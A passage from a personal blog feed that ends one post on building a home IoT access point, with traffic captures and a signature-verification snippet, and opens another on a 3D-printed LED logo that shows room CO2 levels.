    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    +
    + + INET Logo That Breathes — From CAD to LEDs to a Calm Little Server + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + <blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> + +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

